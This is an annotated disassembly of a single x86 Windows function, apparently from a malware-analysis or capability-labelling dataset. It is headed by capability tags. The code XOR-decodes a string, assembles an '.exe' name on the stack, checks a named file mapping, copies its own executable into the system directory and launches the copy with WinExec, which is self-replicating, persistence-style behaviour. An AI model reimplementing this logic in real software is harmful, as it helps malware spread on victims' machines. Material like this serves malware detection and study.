Function at 0x4018c9
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
jmp 0x4018e8
push 0x4030d4
xor edi, edi
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x403040
test eax, eax
jne 0x401963
mov dword [ebp - 0xc], 1
and byte [ebp - 3], 0
mov byte [ebp - 5], 0x78
mov byte [ebp - 8], 0x6b
mov byte [ebp - 4], 0x65
mov byte [ebp - 6], 0x65
mov byte [ebp - 7], 0x2e
jmp 0x401935
mov edi, 0x644
push 0x4030cc
push edi
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x401a26
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40193a
mov al, byte [0x403040]
and byte [0x4030bf], 0
test al, al
je 0x4019e5
mov cl, al
mov eax, esi
xor cl, 0xf3
mov byte [eax], cl
jmp 0x401987
jmp 0x401993
xor byte [eax], 0x56
jmp 0x4019af
jmp 0x4019bc
jmp 0x4019dd
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401977
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x1f
jle 0x4019fb
lea eax, [eax + 0x403021]
push eax
push esi
call ebx
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push 0x4015d8
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x4030f4], edi
jne 0x401911
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401a10
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 0x10], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
je 0x401b7b
cmp dword [ebp - 0xc], ecx
mov dword [0x4030f0], eax
jne 0x401b96
cmp dword [ebp - 0x10], ecx
je 0x401b46
jmp 0x401a75
push edi
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x4030f0]
add esp, 0xc
mov dword [eax], 1
mov eax, dword [0x4030f0]
add eax, 4
push esi
push eax
call ebx
mov edi, 0x104
lea eax, [ebp - 0x218]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x114]
push 0x4030c4
push eax
call edi
lea eax, [ebp - 0x114]
push esi
push eax
call edi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x114]
sub ecx, 4
add eax, ecx
cmp byte [eax], 0x2e
jne 0x401af9
and byte [eax], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push eax
call edi
lea eax, [ebp - 0x114]
push 0
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x114]
push 0x4030c8
push eax
call edi
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401b84
jmp 0x401b5a
mov eax, dword [0x4030f0]
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x401b7b
inc ecx
push esi
mov dword [eax], ecx
mov eax, dword [0x4030f0]
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 8]
call fcn.0040169a
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
jmp 0x401bb7
push dword [0x4030f0]
call fcn.00401277
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401bb7